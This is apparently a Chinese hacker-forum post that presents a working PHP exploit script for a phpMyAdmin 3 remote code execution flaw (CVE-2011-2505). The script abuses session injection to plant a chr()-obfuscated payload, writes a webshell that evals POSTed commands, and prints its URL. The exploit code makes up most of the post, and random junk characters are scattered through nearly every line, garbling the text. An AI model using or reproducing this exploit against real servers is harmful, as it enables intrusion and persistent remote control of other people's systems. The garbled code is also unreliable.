最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。: i2 p5 L: C$ r. M: g- @# c4 U
" `: v' l; }2 Y! j昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
' `$ t7 T0 c- C1 W0 _+ v" _7 y8 X; `# R( L2 _2 e' g8 e4 y) |
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的: a3 D& i; L% L D* X/ @" e7 V
一是session.auto_start = 1;
* {3 ^( R& V0 a2 ^" p& g二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
$ U9 c$ i5 Y* A* i当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。2 L: c' \/ c6 H$ {; t u& \
% c3 t/ |6 ]5 k
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。/ p, K! T3 z" U" j) w
- O' V* A- B' p2 ~, [7 z于是写了这个php版本的exp,代码如下:
5 B1 j, `' S2 z6 {0 v
/ H. {# c# z! Z2 `4 Q#!/usr/bin/php
* J* a9 U8 i" u0 D# ]<?php
% k% X$ R4 Y9 P# F% V1 T( |9 R' nprint_r('
. g: j3 `& ~: X, \% k+---------------------------------------------------------------------------+
/ M% G4 U( A! B; D6 D' gpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" ?6 U6 E. b* v+ @* _1 Y. Y/ F
by oldjun(www.oldjun.com)" {" b }9 H% C) a4 {+ \+ a2 v
welcome to www.t00ls.net! R3 d& P$ q: i# D3 z$ Q, K f2 i
mail: oldjun@gmail.com: }$ p$ r+ N; L
Assigned CVE id: CVE-2011-2505
5 [( X7 ?* C! K- A, |# H+---------------------------------------------------------------------------+# X6 @1 `+ R0 `" g
');0 T2 Q: R5 a! i
# E& [9 q- ]) O/**
2 f, ^. z/ H; C3 I$ q, s4 O * working when the directory:"config" exists and is writeable.+ K/ `: ^0 k% u( C% f9 d; w
**/
/ N( N2 }9 i" D* L4 Y. X0 j
- N2 F0 {; L3 p0 zif ($argc < 3) {% t+ j4 l8 g9 r+ r+ u$ M
print_r('
) v" j' q9 P4 _; ~) S1 s) ]9 r+---------------------------------------------------------------------------+3 |6 A( R! p' S8 Q8 m+ c+ ]
Usage: php '.$argv[0].' host path
5 B7 A( v, k l+ z; Mhost: target server (ip/hostname)3 s% k% K3 S: m- A* C4 L' c
path: path to pma3
4 E- L7 ]4 J$ w* J6 F7 {1 NExample:
' C" S$ i$ {; w/ A1 I/ ephp '.$argv[0].' localhost /pma/2 v4 D% X( E, P1 c. [; B6 k
+---------------------------------------------------------------------------+
# J5 U, _' Z: _1 i; G* d* P' {');) o! k, k$ i- ]* x3 v
exit;
& d+ R2 B2 t! {+ m# T/ a* a7 o" ~}
, Y* @9 J7 m0 i* d6 O% `' t
% H9 i+ _8 @9 N7 A$host = $argv[1];$ n& H1 K) B, `0 r2 t
$path = $argv[2];
3 n; ~* f4 u& W9 X$ P' M+ a$ H! k& C3 M2 ~( A/ e
/**4 }1 r8 I- q3 y2 t
* Try to determine if the directory:"config" exists/ K+ q5 ]0 L+ e; Q6 {1 R
**/
6 j2 ], \; b5 O$ }8 _: [0 e. _echo "[+] Try to determine if the directory:config exists....\n";
# M* \8 m! l) F, H7 b9 k5 ~$returnstr=php_request('config/');8 L; T' g+ H5 _
if(strpos($returnstr,'404')){
; b7 p! h* @$ ^# O exit("[-] Exploit Failed! The directory:config do not exists!\n");
K; h5 ^) W0 B7 ]3 m, ~8 N}% q- [+ j: m1 ?& J) x
' l' t- |7 @9 Y# P( W* Q/**8 X: u+ ~' a C8 Z( l
* Try to get token and sessionid p Y9 z3 E6 |0 \& k
**/ D8 K9 d0 i; k7 {
echo "[+] Try to get token and sessionid....\n";
6 D y+ V) X9 Q+ N; {$result=php_request('index.php');
z( o3 U- o" ?) g' B, Y4 Apreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);2 Z/ e5 y' s2 _, o& f S1 l$ p
$token=$resp[3];: o* i1 Q- n. I1 q- p& A
$sessionid=$resp[1];6 u" X2 a3 ^% E+ P- Z4 ^
if($token && $sessionid){
. a6 o2 J Y- y# H4 r7 \, m9 w echo "[+] token token\n";
" _! s6 t* V( i7 ` echo "[+] Session ID sessionid\n";6 I R; a1 c0 K/ [* s
}else{3 ?7 a1 z2 x9 n4 R2 o5 J
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
# W' Y! m i2 u" {3 L5 E. c}1 m5 @% N' [- T; p
1 Q7 y% X8 B# o' A4 \) x/**
* _/ D9 ]7 k7 Z5 Q2 c& B * Try to insert shell into session
( R. [9 O3 X O2 C/ U**/
/ X! r# M9 L! r0 wecho "[+] Try to insert shell into session....\n";
1 Y! T1 F5 C+ @php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
7 r0 d" r/ g* n& r" L# h2 B4 a
/**/ t4 e0 k. q% {' V7 t' @+ a- }4 B
* Try to create webshell
* r/ Q! r* }2 R$ C w**/( H9 ~5 y, g" c# l2 \8 A
echo "[+] Try to create webshell....\n";
' N, |3 g+ [) u" i+ lphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
) |3 o& ^% U. d9 d# _2 A/**. _ \" |- J5 ?
* Try to check if the webshell was created successfully
% R [9 L& A9 q+ z+ E- U**/
& ^6 _+ E9 {$ n! }7 D- {! Z4 Mecho "[+] Try to check if the webshell was created successfully....\n";% E2 f+ c1 [$ C' r: ^$ X4 x3 u
$content=php_request('config/config.inc.php');
! D1 c: v8 Y, cif(strpos($content,'t00ls')){( b9 y7 t3 ]: w" h4 B
echo "[+] Congratulations! Expoilt successfully....\n";
3 |( [8 J2 n) N$ z4 p' t echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";2 ?8 v1 ]4 k, s ` C, q* S
}else{& P9 D$ \- f! M7 Q O' Y
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
# G n% o* p( U/ D, f}+ t& I$ m& N4 v! d' x9 z
v4 ]2 D2 l1 Tfunction php_request($url,$data='',$cookie=''){
( u, [+ H/ A+ _ global $host, $path;
( p# M) B$ @+ f4 D( f) Y - {6 ?% ^7 Q$ p8 l$ I8 |! h
$method=$data?'POST':'GET';
d a1 E9 Q# M- J* F) t2 f
7 D, h* H: o/ l1 p1 n- E, {7 Q $packet = $method." ".$path.$url." HTTP/1.1\r\n";
, \& D' }4 t. C' d) l5 r $packet .= "Accept: */*\r\n"; P' C5 x: r$ V( a* M
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";3 m( [: ~/ H: ]) @
$packet .= "Host: $host\r\n";& l" v- M$ m( Y; W
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
( G; v1 Q( n4 w9 l $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";5 W/ a5 i7 F1 P: c% m
$packet .= $cookie?"Cookie: $cookie\r\n":"";
# Y9 m3 ]6 s4 E. y5 ^ $packet .= "Connection: Close\r\n\r\n";" S* z3 c9 S8 ~+ x* P9 g" H" d
$packet .= $data?$data:"";' w* H. \, T: A# G! ~3 z
. M( c6 M! Z' p/ ]; V
$fp = fsockopen(gethostbyname($host), 80);% c3 R6 G& i) v) O& w1 y
if (!$fp) {+ T5 x- g O& |3 K# _
echo 'No response from '.$host; die;
9 v! Y1 X% y2 x }
# q+ z. @& m& Y7 }/ a+ {! R fputs($fp, $packet);3 i; A& W1 m4 |9 U
% x! G* U+ K F $resp = '';% K4 n; l7 o z6 H
, g. K; b$ ^2 J0 B) S
while ($fp && !feof($fp))
9 n- T9 g7 B' J( x4 q% l4 X $resp .= fread($fp, 1024);
( c( I2 V F# \( t) u+ i* k% k
_# i' X* [6 s return $resp;8 ?8 ~7 C! ?! L; r, V1 c0 I% P2 r
}, X* d& w: A0 ]* V8 ~. I# ]0 \, Q
- d# U( g; I5 J# p2 k( i8 _?> : M" J y {4 U- w
. |